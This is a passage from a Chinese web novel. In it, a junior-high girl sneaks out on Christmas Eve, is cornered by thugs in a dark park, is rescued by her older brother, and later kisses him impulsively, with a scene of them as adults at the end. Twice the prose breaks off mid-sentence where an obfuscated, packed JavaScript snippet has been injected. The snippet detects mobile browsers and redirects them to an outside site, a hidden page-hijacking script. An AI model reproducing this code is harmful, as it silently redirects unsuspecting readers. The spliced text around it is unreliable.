孔妙零在被子里蛄蛹着把毛衣穿上了:“毛线裤。” 乔贺沉丢来毛线裤,她继续蛄蛹。她从小身体不太好,三天两头不是感冒就是咳嗽,到了冬天特怕冷,要穿好几条裤子。 她蛄蛹的时候,乔贺沉就坐在旁边等她主动交出牛仔裤。高二的男生了,妹妹读初三,坐在这儿等她穿衣服其实不太合适,但孔妙零有这个本事让场面变得滑稽,压根没法往别的方向想。余光里她还在被子里折腾,一而再再而三地拖延时间,乔贺沉都想笑了,一条裤子,多大点事儿,给她穿就是了,他起身要走,背后孔妙零刚偷笑两声,他又停住,把飘窗上一张纸条拿起来。 上头一行字:孔阿喵,平安夜见。 平安夜就是今晚了。 “孔阿喵……”乔贺沉笑出了声,是一声嗤笑,让孔妙零疑惑地坐了起来,“你干嘛乱看我东西!” 乔贺沉回头:“平安夜见……你们约的哪儿见?” “什么哪儿?”孔妙零一骨碌掀被起来,“关你什么事儿?” 她赤着脚要把纸条抢回来,乔贺沉把手一扬,她抓着他胳膊,刚死死扒上去,就被他黑着脸用力搡了下,她肩膀上一痛,刚“啊”完,就听着连续三声“刺啦”“刺啦”“刺啦”,乔贺沉竟然三两下把手里的纸条撕了,动作干净利落,说:“不准去。”说完,又干净利落地出门去了。 4. 2杯蜜蜂膝盖 以前的孔妙零,乔贺沉说什么是什么,他的话就是圣旨,比爸妈的还管用,听他的准没错,但现在的孔妙零就爱跟她哥反着来,她哥说不准,那她就一定要把这件事给做了。 乔林说乔贺沉在叛逆期,孔韵怜不很赞同,真正叛逆的是孔妙零。 乔贺沉也就是跟妹妹的关系冷了点,两人从小就这样,热一阵,冷一阵,没什么稀奇的,何况现在两个孩子都大了,关系肯定会有个过渡期。除此之外,乔贺沉没太大变化,在学校照常是三好学生,性格阳光开朗,这些她不用问,从女儿抱怨的话里就可见一斑。在家里也和往常一样,嘴上欠一点,做事不含糊,一有空就把地拖了碗洗了,三不五时带一束花回来给她。 乔贺沉做这些的时候,孔妙零在做什么? 在镜子前学化妆,在试不同的口红,在自拍,涂指甲,衣服买了一件又一件……早上起不来,但为了卷个好看的头发可以一早爬起来准备,晚上躲在被窝里玩手机,把她手机收了,她就拿她哥的,她哥不给她就开电脑,开电脑也就是干聊天,每天消息“滴滴滴”个不停,她噼里啪啦打字,时不时偷乐傻笑。 当妈的总担心她学坏,想跟她聊一聊,她倒是大大方方把聊天记录给她看,说都是跟女同学聊,男同学她才不稀得理呢。 叛逆的征兆之一,是撒谎。女儿撒谎了,她也跟男同学聊,这个当妈的不用问,从女儿的眼神里就可见一斑。不过孔韵怜也不强硬干涉,倘若真是跟男同学暧昧,甚至谈谈恋爱,她也没觉得有什么,可也不能太掉以轻心,她告诉女儿,要是真恋爱了,必须告诉她那男孩子是谁,她考察通过了才行。 女儿不很高兴:“谁谈恋爱了,才不会谈恋爱!我们班那些男生,都比不上哥一个手指头!” 孔韵怜把她安抚下来:“谈了也没事,但你年纪还小,识不清人,我跟你爸总归比你有经验是不是?妈还不是担心你会被欺负。” “他们才欺负不到我呢,见了我说话都说不清楚,”孔妙零往她妈怀里一钻,“你放心吧妈妈,我是真瞧不上那些男生,一群生瓜蛋子,幼稚死了,要是哪天我真谈恋爱了,对象只有一个可能,那就是哥!” 孔韵怜听得太阳穴突突地:“你这傻瓜蛋,真是什么话都敢往外说!” “就是嘛,我就喜欢哥,我以后肯定找哥那样的谈恋爱。” “知道了知道了。”这样类似的话孔韵怜听了不知多少遍,妹妹喜欢哥哥,兄妹俩感情好,她还有什么话可说,“你哥现在他……” “知道了知道了!”孔妙零也学她妈的语气,“你都给我上过好几回课了,我现在进他房间都要敲三遍门,他不说进我都不进的啊。” 看,又撒谎了。 孔韵怜常常就看见她直闯乔贺沉的房间,有时候里头乒铃乓啷一阵响,是又闹起来了,不过孔妙零最终都会被乔贺沉赶出来,乔贺沉自己有法子,当爸妈的也就不多插手。 这回乔贺沉不经同意就把她的纸条撕了,孔妙零倒也没追过去,她一脸乖巧坐到餐桌前吃饭,头发编得繁复,但不算突兀,突兀的是耳朵上长长一根耳坠,乔贺沉一眼就看见了,这耳坠还是他买的单。孔妙零就这样,爸妈给她钱她反倒不要,就爱抓着乔贺沉去当冤大头,需要钱的时候也不跟爸妈要,直接来拿乔贺沉的钱夹。 钱夹里除了一张全家福和他自己的寸照,就是孔妙零的照片了,每每乔贺沉给拿开了,她又要塞一张新的进去。 这回她塞进去自己最新一张在图书馆的摆拍照,又从里头拿走五张纸钞。 “你拿这么多钱干嘛?” “不干嘛。” 乔贺沉冷呵一声,“晚上放学直接回家,不准出去。” “要你管!” 孔妙零小跑着往学校里跑,刚跑出两步,被乔贺沉从后头扯住,他像拎只小鸡一样,把她鼓鼓的书包拉链一拉,里头果然塞着一个袋子,袋子里头是裙子和丝袜。 孔妙零眼见她哥要拿走,回身去抢:“我晚上要穿的!” “说了不准去,小心我告诉爸妈。” “你跟他们说去啊,我就是跟俞西出去逛街!爸妈还会不允许我出门的啊!” “你最好是。”话说完,那袋子也被他塞进自己书包。 孔妙零去追他,抓着他胳膊,抢不赢只有上气势:“乔贺沉!” 校门口有人过来提醒:“同学,请不要大声喧哗!” 孔妙零立马消了声,她也就是在她哥面前这样,一旦进了学校,就成了老师同学眼里的乖巧好学生——这个“好”自然不包括成绩好。 孔妙零在学校遵纪守法,尊师重教,可就是读不进书。她有时候也会想,怎么同一个妈生的,哥读起书来就那么轻松,她却是看什么忘什么,也不像哥那样自律。她可会享受了,做一道题就能奖励自己一大堆东西,美其名曰自我奖励机制。 她的好朋友姜俞西也会自我奖励,这阵子她迷上那些青春疼痛爱情小说,考个第一名就奖励自己看三本,孔妙零对这些兴致不高,她都是偷偷在自习课上戴着耳机听有声书和广播剧,内容不那么重要,说话的人重要,她听语气听音调,下了课模仿给姜俞西听。有时候模仿姜俞西的妈妈,在电话里跟姜俞西的妈妈聊天,把对方逗得哈哈大笑。 她是班上的文娱委员,为了准备元旦晚会的节目,这次她策划了个童话类的情景剧,里头都是动物当主角,别人在台上演,她在后头负责配音。什么鸡鸭狮子青蛙,她模仿这些倒是很来劲儿。 有男生跑来大礼堂后台看她彩排,呼朋引伴地,一来就是一大堆,她赶不走,也没空赶,又要组织,又要配合,挡着嘴也觉得窘迫,有一回她气得要发火,面前忽然蹦出来个比自己高出一大截的男同学,一句“看什么看”就把那堆男生给轰走了。 这男同学她认识,老跟姜俞西抢第一名的那个,在隔壁班,姜俞西想去跟他交流,他愣是不理人,姜俞西觉得面子被这人给下了,嘴上讨厌起这人来,孔妙零却觉得这人还不错,不爱说话怎么了,人家就从来不跟其他男生同流合污,戴着耳机有自己的小世界。 这次他也是来排练的,不知怎么就过来给解围了,孔妙零也没来得及跟他说话,第二天再见,他捡到了她放在旁边的提示卡,第三天看到她在彩排间隙里坐那儿赶作业,他给她指出好几个错误,第四天,第五天…… 然后就是那张纸条了。 姜俞西还记着这人的仇,问妙零:“你真要去啊?” “就是出去逛个公园嘛……” “你对他有那个意思?” “……普通同学也可以逛公园呀。” 姜俞西叹口气:“其实我也觉得他还行,而且你觉不觉得,从侧面看他长得有点像你哥啊。” 妙零一惊:“哪里像啦?我哥比他帅多了啊!”隔一会又说,“脸型是有那么一丢丢像啦,可五官完全不同。” “人家还没长开呀,长开了就有你哥那么帅了。” “那也没可能!” 姜俞西无语一阵,问:“那你是去还是不去?” 妙零想起她哥那句“不准去”,说:“去啊!”可心底里还是有点怵的,“那个公园就要拆了,是不是没什么人啊?” “平安夜去公园的不多吧,反正都要拆了,我们就去看最后一回?” 于是两个女孩子去了,一起去的还有几个平时玩得好的。公园里没多少人气,冷风吹过凉飕飕的。孔妙零的裙子被乔贺沉拿走了,但乔贺沉不知道她另外在学校留了一身,换上了是很好看,可也很冷,而且这公园的灯坏了要有一半,走一段就要黑一段,孔妙零怕黑,紧紧抱着姜俞西的胳膊,姜俞西是个有眼力见的,可现在她的眼力见体现在了撮合这件事儿上,她把好朋友的手一推,要她去跟那男生单独相处。 妙零原本是有点期待的,尤其姜俞西给她分析,人家今晚上肯定会给她告白,可真到了这儿,她又害怕期待的成真,也十分后悔出来了,可她不会表现出来,正迟疑着,忽然就听见后头响起一阵又急又乱的脚步声。 几个初中生还没搞清楚那群人什么来头,就被他们给围堵在了原地。 一群黄毛,一个个眉毛像樱木花道那样往天上斜着去,可人就不是樱木花道那样的了,他们手里没拿篮球,要是拿了,估计已经往妙零她们身上砸了。 孔妙零刚才还冻得哆哆嗦嗦,这会儿顾不得冷,这群黄毛问了几句话,眼看几个又高又壮的男生就要涌上来搜刮她们的手机,妙零猛地往前一站,指向这群男生后头一个瘦猴:“喂!你,你不是我哥原来的同学吗?” 一群人纷纷停住,那瘦猴还没说话,领头的先问:“你哥谁啊?” 妙零本来觉得有个熟人好说话,可黑眼珠子一转,又觉得把她哥搬出来并不是个好主意,可那领头的见她不答,就回头问瘦猴,瘦猴盯着妙零看,妙零伸手想遮脸,瘦猴却已经认出来了:“是乔贺沉。” 其他黄毛一听都很惊讶,领头的推着瘦猴说“你不早说”,瘦猴结结巴巴解释,说刚才没认出来,以前乔贺沉的妹妹是个小胖子,这话一出,黄毛们发出一阵哄笑。 妙零她们这群人却笑不出来,她们看不懂这群黄毛的态度,尤其妙零,被领头阴恻恻的眼神盯着,心里发起毛来,她手已经摸到了手机,在兜里盲按着,也不知道按对了没,她暗暗低头去看,还没看见呢,那领头的就朝她走了过来。 “小妹妹,我本来想给你个面子的,可你哥乔贺沉不愿意给我面子啊。” “他怎么你了?”妙零没被他的气势吓住,这会儿反倒镇定了。 那领头的假装被她的气势一震,笑得更是流里流气:“我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283374|151945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一朋友的妹妹给你哥送礼物,你哥当着所有人的面没要,一点不给我们妹妹面子,我们妹妹回去哭得可伤心了。” “我哥不收你妹妹礼物,就是不给面子啦?” “那还用说?我们妹妹选了那么久的东西,一片真心他一句话就给拒绝了,把我们当什么了?” “那我回去告诉他,以后谁再给他送礼物,他收下就是了。”妙零语速刻意慢下来,一边拖延时间,一边继续按着手机,她动作很急,飞快往兜里看一眼,刚确定转到了拨号界面,那领头的动作却比她更快,青着脸忽然冲过来,她以为自己马上就要挨揍,领头的却是一脚踢在了她身后,被踢的瘦高男生狠狠摔在地上,手机也飞出去,另一个黄毛捡起来,把报警的拨号给切了。 领头的急头躁脑下命令,“把手机都搜了!” “别搜,给你们就是了!” 这时候手机就没那么重要了,可妙零的话没人听,她赶紧把手机掏出来,还没拨号就被人推了一把,是那个瘦猴,揪着她衣领,虚张声势喊两声,再趁乱告诉她:“我给你哥发消息了,他没回我!” 妙零一愣:“他上晚自习呢,我给他发。” “那他还不是看不到?” 妙零没空解释,飞快按着键盘。她是她哥特别关注,她给他发消息他一般第一时间就会看,不过回不回就要两说了,比如要他陪打游戏,比如要他给她写两道题,他就不怎么回。 这回乔贺沉也没回她。 妙零又试着拨了个电话,然后直接告诉那领头,要钱的话她可以给,她手机里有五千,马上就可以转给他,那领头一听有五千,回头看其他黄毛,一群人像是都拿不定主意,也想不到五千足够构成诈骗。妙零一开始是想说三千,三千也能立案了,不过三千听起来不多,这些人估计不满意,五千正好,不多不少,他们估计要纠结一会儿。 黄毛们确实纠结了,就在纠结的空档里,他们接到了一通电话。 电话是席安打来的,席安说马上过来,要这群人等着。 妙零当然知道席安,是她哥玩得最铁的朋友,两人从初中就天天在一块儿了。有段时间席安常来家里头吃饭,总要给她带点小礼物,后来有一段时间直接住在了她家,他爸妈在闹离婚,他不愿意回去。再后来,他忽然就跟她哥掰了,跑去跟高年级一群混混混在一块儿,逃课打架啥都干,被年级贴处罚通告是家常便饭。妙零心想不能眼睁睁看着熟悉的人误入歧途,跑去跟席安说,她哥因为他的事在家都哭了,哭得痛哭流涕呢!可这话不奏效,妙零就把她爸妈给拉上了,她爸特意到学校堵人,把人带到家里吃了一顿家常便饭,吃着饭,说着话,席安痛哭流涕,她哥则在旁边摆冷脸。两人友情纠葛不提,席安总归是洗心革面,回来继续当年级前十。 席安回来了,但原来认识的人还在,他把原来认的“大哥”喊来,一来就是十多个,当然,一起来的还有乔贺沉。 乔贺沉的脸色自然好不到哪里去,妙零见了他,安心的同时又很心虚,所以她哥让她做什么,她就做什么。她们一群人被乔贺沉一个同学带着去坐车,大家各回各家,妙零不愿意先走,非要在公园门口等她哥回来。 她回头张望,生怕两伙人起冲突,问她哥同学:“我们不可以报警吗?” “报警有用早报了。” “那他们、他们不会打起来吧?” “说好了不打的,要打你哥跟席安也不会参与。那群人吃饱了没事干,前段时间老来找席安的茬,结果他们里面一个女生看上了你哥,好几次来门口堵人,你哥都说已经有女朋友了,还是甩也甩不掉,没想到今天又被你们碰到这群人,真有点晦气了!” 妙零被风吹得打了个哆嗦,话都说不清楚了:“我、我、我哥什么时候有女朋友了啊??!!我怎么不知道?!” 那人笑:“就是为了糊弄那个女生啊……” 妙零一口气差点没缓过来,她回头看去,她哥不知什么时候拎着瘦猴去了边上,瘦猴忽然往她这边看了眼,又冲她哥摇头,像是在复述刚才发生了什么,妙零心里一阵波澜还没平定,旁边人又说:“不过你哥也快有了,今天还收了人家苹果呢。” 妙零快要跳起来:“什么苹果?谁送的?他干嘛要收啊?!!” “就以前跟他告过白的,广播站那个,高一的,不是还给你哥送过生日礼物吗?你哥没收,这次收了苹果,看着是有戏啊。” 这些都是妙零完全不知道的,她飞快消化了一会儿,想要问点什么却又不知道从哪儿问起,她有点着急,怎么忽然一下子,她哥的事情她都不知道了呢? 旁边那人见妙零快要哭了似的,脸上委屈得很,可又觉得不至于,心想肯定是被冻着了才这样,他刚才就想拦车了,可没拦到,等到好不容易拦到一辆,乔贺沉跟席安也回来了。 5. 3杯蜜蜂膝盖 四个人一辆车,先下去一个,再下去一个,最后是兄妹俩。 妙零主动付了车费,下车后就自顾自往前走,乔贺沉被甩在后头,看她挺胸抬头大踏步,头上发饰一甩一甩的,那气势足像只即将出战的斗鸡。 这远不是现在她会有的反应。以前要是遇到谁欺负她了,她见了他第一时间就要抱上来呜呜哭一场,有时候他手往她脸上一抹,压根抹不到眼泪。像今天这种情况,她会先哭一顿,再赶在被骂之前主动承认错误,什么“我知道错了,以后再不会大晚上跑这么老远来这破公园玩”,什么“我再也不穿裙子了,一点都不保暖”,她认错的速度要是用在写题看书上,她当第一,没人敢当第二。自省的话也信手拈来,该她说的不该她说的她全给说了,就为了让发火的人无话可说。 可今天呢,始终对他贯彻三不原则,不看不理不回应,还理直气壮摆脸色。 这很反常,相当反常。 乔贺沉三两步追上去,轻轻拽一下她精心编好的辫子,她马上警觉地把手一挥,继续往前走,他再拽一下,她发火了:“别碰我!” 乔贺沉知道她要炸毛,顺势把她挥过来的手臂握住:“刚才不是挺镇定,现在知道害怕了?” 乔贺沉比谁都清楚,孔妙零绝不是个胆小的,她从小去医院打针一次也没哭过,三岁上台主持,四岁敢脖子上盘大蛇,五岁跟着俱乐部去野外攀岩,十岁的男孩也不比她勇敢……能举的例子很多,可一个人不可能什么都不怕,孔妙零不怕高,但很怕黑,今天这公园阴森森的,大半灯不亮,想也知道她做了不少心理建设,关键是那一群混混,一个个凶神恶煞,虎背熊腰,别说她了,同龄男生见了也要警惕几分。 可他也清楚,她现在大概率是不会承认的。 妙零确实如他所想,只用一个冷哼来打发他,拽着书包带子走得更快了。 走太快,塞在校服口袋里的东西几次要滑出来,都被她重新揣回去,可它还是往外掉,这次乔贺沉赶在她前头把那张信封给捏住,抽过来拿手里,往手心里拍两下,说:“这什么好东西?情书啊?我看看。” 他作势要拆,妙零急了,扑过去就要抢:“我的东西!还我——你还给我!” 往常她能抢到,是乔贺沉让着她,等他不想让的时候,孔妙零就拿他没辙了。她像只兔子围着她哥左蹦右跳,抓不着,疯狂的兔子就开始上嘴咬,可乔贺沉没让她咬成,一个闪身往楼上跑,妙零一路追上去,乔贺沉还故意逗她,一会儿假装要把信封从窗外丢出去,一会儿要撕,妙零一个“啊”字发出阴阳上去四个声调,一会儿发怒,一会儿跺脚,乔贺沉看了直乐,眼神落到手里的信封上,又有点乐不出来:“你要敢早恋,我非告诉爸妈不可。东西我没收了。” 妙零跑了这么一阵,心情也没好起来:“你算哪个?你有女朋友我都没管,我的事你也少管!不是少管,是不准管!” 乔贺沉听了一愣:“说些什么乱七八糟的?” “我都知道了,你今天都收人家平安果了!”妙零气得一抽一抽地,伸手把信封一夺,转头就要开门,门先自己开了,孔韵怜出现在门口,只一眼就看出兄妹俩又闹矛盾了,尤其女儿眼睛都红了,她赶紧让两人进来:“怎么了这是?我刚就想着像是听见你们声音,没想到真这个点回来了,贺沉不上晚自习了?” “他哪用得上晚自习,”妙零这会儿嘴快,“妈,哥交女朋友了!!!” 她这一声震天响似的,里头乔林听了立马追出来:“什么什么?你哥交女朋友了?儿子交女朋友了?” 被爸妈双双看着,乔贺沉只觉脑袋疼,眼看孔妙零“爆料”完就要回房间,他从后头拽住她书包:“听她瞎说呢,我有女朋友,我自己怎么不知道?” 他继续拽了孔妙零不让她走,硬着头皮把苹果的事情解释一遍。按理来说苹果是不会收的,但架不住人家女生把这个当作一种告别仪式,表示送完这个苹果就再也不喜欢他了,他权衡之下,也就收了。 “就这样?”妙零气嘟嘟地,嘴上还不太相信。 “……那你还想怎样?” 妙零甩头不看他:“哼,怎样都跟我没关系!” 乔贺沉心里也有点不高兴了:“是,没关系,那你那封情书呢,也跟爸妈解释清楚。” 现在换妙零被爸妈看着,她索性把信封往桌上一放:“我自己都还没看呢。” “要看了之后呢?” “……”妙零犟嘴,“我还没看我怎么知道?说不定都不是情书!” 两人说着说着声调都往高处走,孔韵怜和乔林都从里头闻出火药味儿,纷纷出来劝和,妙零住了嘴,把信封一捡,抱着包回自己房间,孔韵怜想跟进去看看,想想还是作罢了。 下午她就收到乔贺沉消息,说喵晚上会跟同学出去玩,要是八点前没回来,得给她电话。知道是哥哥担心妹妹,她也早跟儿子有了默契,说是八点打,她晚饭的时候就打过一个,刚才看着时间正准备再打一个,没想到兄妹俩就一道回来了。 另一头乔林也想跟儿子谈谈,问问今天怎么没上晚自习,可儿子把拒绝交谈的意思明晃晃摆在脸上,转头也回房间去了。 乔贺沉洗漱完在房间里坐着,坐着坐着坐不住了,起身去敲孔妙零房门。 孔妙零跟早上一样不应他,他略等上一等,说一声“我进来了”就推开门,进去一看,她人闷在被子里,被子有刚动过的迹象,显见是才钻进去,裹得跟棵卷心菜似的。乔贺沉坐过去,扒着菜叶想把菜心给挖出来,可菜心不愿意,直往里头缩,这下菜心就变成了附着在上头的毛毛虫,还时不时哼两声以表示抗议,乔贺沉忍着没笑,正一正脸色,知道她在听,就开始说话了。 总结起来也就四句:以后再碰到今天这种情况,第一时间就给钱,千万别莽撞地往前顶;别再往人少的地方去,尤其晚上;去了哪儿一定要告诉家里;给她发消息一定要回。 乔贺沉说这些也嫌啰嗦,可说完一遍不够,又强调了一遍,强调的时候,语气不自觉就有点凶了,刚凶两秒,他把被子一扒,妙零的脑袋露出来,一双眼睛湿漉漉的,是正在哭呢。 妙零哭得很伤心,本来就很难过,被她哥一凶,就更觉得委屈了,说话都抽抽噎噎地,她也知道先给钱最好,可那时候她吓到脑袋转不过来,一看到她哥那个老同学,不知怎么就把人指了出来,“我一开始也没发现他们口袋里还装着那种水果刀,要是知道,要是知道……”她刚才自个儿琢磨的时候,越想越后怕,现在哭得眼里都是泪,“要不是我,今天我们就不会去公园了……” “怎么又瞎想了?去公园又不是你定的,怪不到你头上。” 妙零害怕,乔贺沉当然也怕,他一点也不想再经历今晚上这种状况,不想在教室接到她的消息,不想抱怨出租太慢,也不想再有打人的冲动。正是因为怕,才会跟她说这些话。 他用指腹给她刮掉眼泪,还想安慰两句又觉得太肉麻,眼看她眼泪越掉越多,他只好拿出杀手锏:“别哭了,想吃什么都给你买,行不行?” 妙零哭声猛地一止,拿一双泪眼看她哥:“吃什么都可以?” 乔贺沉知道自己现在不能笑,努力忍住了:“什么都可以。” “那我要吃特辣汉堡。” 她一吃太辣就总要肚子疼,乔贺沉暂且先口头答应她:“行。” 妙零见他连这个都答应了,又一连列出好几个,重油重辣的,街边小摊上的,平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283375|151945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常吃不到什么她就说什么,平时乔贺沉不准她吃什么她就说什么,乔贺沉听得眉头直蹙,心里想着不能捏她脸,那样太亲近了,可手已经伸出去,一捏捏到满手的胶原蛋白:“就一天,你一天吃得了这么多东西?” 妙零恍若未闻,她哥很久没捏她脸了,她往前探了探,脑袋搁得离他更近,嘴上还继续数着:“我还要吃黑森林的软糖,6磅的!” “……都跟你说了那东西全是添加剂,不能多吃。”说着话,又捏了捏她脸。 “我就要吃嘛。” “……明天给你买就是了。” 妙零笑了,乔贺沉也跟着笑了,可又故作一板:“心情可美了吧?” “嗯…还差那么一点点吧。” “差什么?” “差妈做的宵夜。” 得,这是哭饿了。 孔妙零正是长身体的时候,晚上要是不补上一顿,夜里就该饿醒了。只要是吃的问题,就是大问题,她是绝不可能落下一顿的。不过大晚上地,她倒没怎么挑过,爸妈给什么她就吃什么,今晚上是一锅营养健康的谷物,熬成香喷喷的粥,妙零呼噜噜喝完一小碗,她哥又给她打了第二回。 爸妈已经回房间休息了,两人把灯调得暗些,妙零接过碗要吃,又抬起头来,乔贺沉刚坐下,注意到她在看自己,也看回她:“不是才第二碗么,这就晕饭了?” 妙零没回嘴,只是继续研究他的五官,她哥的脸她不知看了多少遍,早就很熟悉了,但就像姜俞西她们说的那样,她哥也还在长呢,别的男生是越长越丑,她哥却反着来,眼睛眉毛鼻子嘴唇,没有一样不好看的,尤其顶着现在这样的灯光,有阴影,有轮廓,这张脸就更显立体了。妙零看两眼,一句话就那样脱口而出:“哥,你好帅啊。” “……”乔贺沉被她冷不防的直白给弄得失语了,他一直就知道他妹妹喜欢长得好看的,也一直知道自己的长相挺讨人喜欢,他心里是有数得很,但嘴上不必太有数,他迎着她的目光说:“一般般吧。” 他摆出一个没所谓的表情,妙零看了只觉这样子更帅了,伸手就往他脸上戳了一下,乔贺沉当即皱了眉,把她手拍开:“啧,吃饭呢,手干不干净?就往脸上摸……” 妙零都没空思考自己是不是又被嫌弃了,仍然盯着她哥的脸看,她自己还没反应过来,人已经凑过去,把她哥半边脸一捧,歪过头就是亲,很快的一下,声音也不大,可仍然清晰地响在乔贺沉耳边。乔贺沉整个人都懵了,他呆了一呆,等回过神来,手已经作出反应,一巴掌照着妙零的肩膀用力一推,那力度也不算大,可妙零本来就没坐稳,重心往后一倒,就那么“哐当”一声,连人带椅子重重摔在了地上。 妙零低呼一声,坐在地上傻眼了,乔贺沉也肉眼可见地慌了,起身要去抓她,可手硬是伸不出去,话到嘴边也跟着堵住了:“你……” 他用不着开口,妙零也知道他要说什么,无非是那几句,孔妙零你是不是疯了?是不是吃饭吃傻了?是不是有病?!! 妙零心想可能是吧,可真的是吗?她自己也不知道了。 兄妹俩就这样愣在当场,直到孔韵怜跟乔林火急火燎从房里出来,一看这场面更急了,赶忙先把妙零给扶起来,紧接着乔林劈头盖脸去斥责乔贺沉,又问怎么回事儿,可乔贺沉冷着脸一声不吭,只好再去问妙零,妙零有一刻都想直接回答了,说我不就是亲了哥一下嘛,他就把我给推倒了!!!可话到嘴边又说不出口了,心里跟翻江倒海似的,有点想发火,又有点想哭,更多的是想藏起来,于是她手一甩,谁都没看,闷头就往自己房间跑。 兄妹俩吵吵闹闹惯了,孔韵怜也见惯了,可今天瞧着格外不对劲,她放心不下,赶忙追过去敲门。 6. 3杯银子弹 咚咚—— 敲了两下都没人应。 妙零没再往下敲,回头冲乔林解释:“哥估计还睡着呢,就让他多睡会儿吧,倒倒时差。” 乔林却说得把人喊醒:“昨晚上他说要去见朋友,约好了一早的时间,别给他耽误了。” 乔贺沉大学前的朋友没有妙零不认识的,但等他上了大学后,两个人有一大半时间不是在吵架就是在冷战,乔贺沉的同学她顶多知道那么一两个名字,其他的就不怎么清楚了。但他一回来就要见的朋友,除了席安也不会有别人了。 她爸还在乐呵呵笑着:“今天车子就给他用了,待会儿吃完饭你们兄妹俩一块出门。” 妙零敲门的手立时顿了顿,平常她上班都是由她爸接送,因为父女俩同路,她公司离家也近,十来分钟的车程就到了。 “爸还是你来叫吧,哥估计睡死了!” 妙零说着话,转身往回走,心里盘算着干脆出去吃好了,再自己打车去公司,借口随便扯一个,就说有供应商临时决定提前来公司开会,她正要开口,身后的门却在这时开了,乔贺沉穿一身睡衣立门口,头发还湿着,正拿了毛巾在擦,看样子刚刚是去洗澡了。 “敲门了?”他问,语气极其自然。 “噢。”妙零急着要走,语速飞快,“爸让我喊你呢,早餐好了,再不吃该凉了。” “等等,跑那么快干嘛?又不跟你抢。”乔贺沉脸上在笑,“过来帮我找个东西。” “……干嘛呀,我都饿了!”刚才想好的借口忽然就有点说不出口了。 “就一会儿,找件毛衣。” “你毛衣我哪找得着?你得问爸,都是爸定期给你洗的衣服。” 妙零回头就要喊乔林,而乔林也早听见了,抬脚就要过去,乔贺沉却说:“别喊爸了,我自己再找找。” 他语气很平常,也自然,可眼睛里总像是有点可怜的意思,那意思大约是,一件衣服而已,你也不肯帮忙找找,怎么还要跑去烦爸妈呢——这是妙零自己从那双好看的眼睛里琢磨出来的,一琢磨出来,她迈出去的步子就拐了向,三两步跟着乔贺沉进了他的房间:“找哪件毛衣呀!” “我自己来,你吃饭去吧。”乔贺沉不看她,径直去了衣柜前。 “不行,我就要帮你找!”妙零一道挤过去,“你要哪件嘛?” 乔贺沉默了默,总算回过头看她:“那件红的,妈给买的。” “妈给买的?妈没给你买过红色毛衣啊。” “没买过吗?”乔贺沉蹙了眉,是在思索。 “妈给你买过蓝的白的粉的,就是没买过红的,你要穿哪件嘛?” “红的,红的不就一件么?” “哪里呀,好几件呢,”妙零弯下腰开始翻找,“我随便给你拿一件。” “我怎么不知道我有好几件?不就一件有领子的么?” “有领子的就有两件,没领子的一个有印花,还有一个有印花有字母。” 乔贺沉轻笑了一声:“记这么清楚?” 他笑里有一丝调侃的意味,妙零翻找的动作忽地就顿住了,脸也暗暗烧了起来,她急切地想要反驳回去,可还没找着合适的说辞,身后的人已经往下说了:“就拿我最常穿的那件。” 这句话一出,立时就把刚才调侃的意味给冲淡了,妙零也意识到刚才是自己多想了,她飞快翻了两下,把一件红色毛衣拿出来:“这儿呢,呐!” 乔贺沉接过一看:“我常穿的那个是没领子的吧?” “这件不行啊?都是红的,搭起来不都一样?” “不一样,那件穿着舒服。” “……”妙零没说话,很快又翻出另一件没领子的,递给他:“喏!” 乔贺沉翻开一看,“也不是这件。”他索性弯了腰自己去翻,“上面有一行英文字母,有我名字的,你不记得了?” 妙零怎么会不记得,那是她买的,名字也是她恶作剧给绣上去的,故意绣得歪歪扭扭,乔贺沉嘴上嫌弃,可隔三差五就要往身上穿,即便是两人冷战的时候他也照样穿着在她面前晃,像是故意来跟她叫板。 而妙零刚才刻意地没有拿那件,是因为那衣服上不仅有她哥的名字,还有一个猫猫头,外加一句“meow”。 “我可不记得,是你自己记错了吧?”妙零嘴上不认,“穿哪件不都差不多么?这件摸着也舒服啊。” “我记错了?不应该啊。”乔贺沉好像较上劲儿了,手一伸,绕过妙零去翻另一头,他手过去了,人却没有,这样的姿势就几乎把妙零拢在了怀里,“我们俩一起买的吧?你有一件一样的,你的应该是蓝色的?” “……”妙零说不出话来,她一整个被她哥圈住,身后是衣柜,退无可退,身前是她哥,一呼吸就是他身上的香味,也是这样近了才发现,她哥好像又高了一点,身板也更实了,她脸腾腾烧着,想说你自己找去吧,我得去吃饭了,也想伸手直接把人给推开,可没得到机会,她哥很快就收回了手,把她往旁边一拉,自己站去了她刚才的位置,妙零急急地又往后退了一步,一口屏住的气这才吐了出来。 乔贺沉低头找得认真:“我就不信找不着了,总就在柜子里吧?” 他看向妙零,像是全部心思都扑在找衣服上,完全没把刚才亲近的动作放在心上。妙零脑袋别开:“你自己找吧,我找不到!” “不行,怎么就不见了呢?”乔贺沉伸手把她一拦,“不会又是被你拿走偷穿了吧?” “谁要穿你衣服呀!我自己有一件一样的!”妙零被问急了,转过身继续去翻,三两下就把衣服给翻了出来,“不就在这儿嘛!” 乔贺沉却没伸手接,只是看着她,然后很忽然地,伸手捏了捏她耳垂,妙零被捏得一愣,猛地红了脸,立即把他手拍开,人往旁边躲了一步:“干嘛呀?!” 乔贺沉没退开,反而紧跟过去,低了头凑到她耳朵边,伸手又往她耳垂上捏,这回指腹还停留在上头捻转:“想什么呢?还能干嘛?看看你耳洞塞了没。” 